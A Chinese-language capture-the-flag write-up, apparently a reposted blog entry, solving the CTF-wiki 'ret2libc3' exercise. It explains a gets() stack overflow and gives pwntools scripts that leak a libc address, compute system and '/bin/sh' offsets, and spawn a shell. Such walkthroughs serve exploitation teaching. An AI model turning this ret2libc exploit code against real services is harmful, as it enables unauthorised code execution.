zoukankan      html  css  js  c++  java
  • [WP]CTFwiki-ret2libc3

    1.例行检查程序。具有 NX 保护。

     2.IDA载入之后,发现有一个 gets 函数,而 gets 函数使用方便但是十分危险的,因为它对输入长度没有限制,因此我们可以通过 gets 来达到溢出的目的。

    3.通过 IDA 我们发现并没有预留 system 函数和 /bin/sh 字符串。但是我们发现了 printf 函数,通过这个函数我们便可以将已经执行过的函数的实际地址给泄露出来。

    4.之后我们计算溢出点,便可以先将部分函数泄露出来。我选择的是泄露 __libc_start_main 和 puts 两个函数地址。

    #!/usr/bin/env python
    from pwn import *
    
    p = process('./ret2libc3')
    elf = ELF('./ret2libc3')
    puts_plt = elf.plt['puts']
    libc_start_main_got = elf.got['__libc_start_main']
    main = elf.symbols['main']
    puts_got = elf.got['puts']
    
    print "leak libc_start_main_got addr and return to main again"
    payload1 = 'a' * 112
    payload1 += p32(puts_plt)
    payload1 += p32(main)
    payload1 += p32(libc_start_main_got)          ##需要泄露的函数地址
    p.recvuntil('Can you find it !?')
    p.sendline(payload1)
    
    print "get the related addr"
    libc_start_main_addr = u32(p.recv()[0:4])     
    print("addr:" + hex(libc_start_main_addr))

     

     5.通过这两个地址,我们便可以得到 libc 的版本了。

    #libc_start_main = 0xf7df5d90
    #puts_got = 0xf7e44b40

    6.之后我们便可以构造完整的 exp 了。(通过 LibcSearcher 也可以直接找到 libc 的版本。)

    #!/usr/bin/env python
    from pwn import *
    
    #####from LibcSearcher import LibcSearcher#####
    
    p = process('./ret2libc3')
    elf = ELF('./ret2libc3')
    puts_plt = elf.plt['puts']
    libc_start_main_got = elf.got['__libc_start_main']
    main = elf.symbols['main']
    puts_got = elf.got['puts']
    
    print "leak libc_start_main_got addr and return to main again"
    payload1 = 'a' * 112
    payload1 += p32(puts_plt)
    payload1 += p32(main)
    payload1 += p32(libc_start_main_got)
    p.recvuntil('Can you find it !?')
    p.sendline(payload1)
    
    print "get the related addr"
    libc_start_main_addr = u32(p.recv()[0:4])
    print("addr:" + hex(libc_start_main_addr))
    #libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
    #base_addr = libc_start_main_addr - libc.dump('__libc_start_main')
    #sys_addr = base + libc.dump('system')
    #bin_sh_addr = base + libc.dump('str_bin_sh')
    
    base = libc_start_main_addr - 0x018d90
    sys_addr = 0x03d200 + base
    print "system:" + hex(sys_addr)
    bin_sh_addr = 0x17e0cf + base
    print "binsh:" + hex(bin_sh_addr)
    print "get shell"
    
    payload = 'a' * 104          #第二次重定位
    payload += p32(sys_addr)
    payload += p32(0xdeadbeef)
    payload += p32(bin_sh_addr)
    
    p.sendline(payload)
    p.interactive()

  • 相关阅读:
    Linux内核邮件列表发送和回复格式研究
    FastCopy包含和排除文件夹处理
    Linux解压命令(tar)
    Linux下的删除命令
    分区还原工具(DiskGenius)
    树莓派利用PuTTY进行远程登录
    树莓派下载地址及一些常用工具
    树莓派开机黑屏问题解决
    Jenkins从2.x新建Job时多了一个文件夹的功能(注意事项)
    Jenkins的Publish Over FTP Plugin插件参数使用
  • 原文地址:https://www.cnblogs.com/Tsuiyields/p/11963790.html
Copyright © 2011-2022 走看看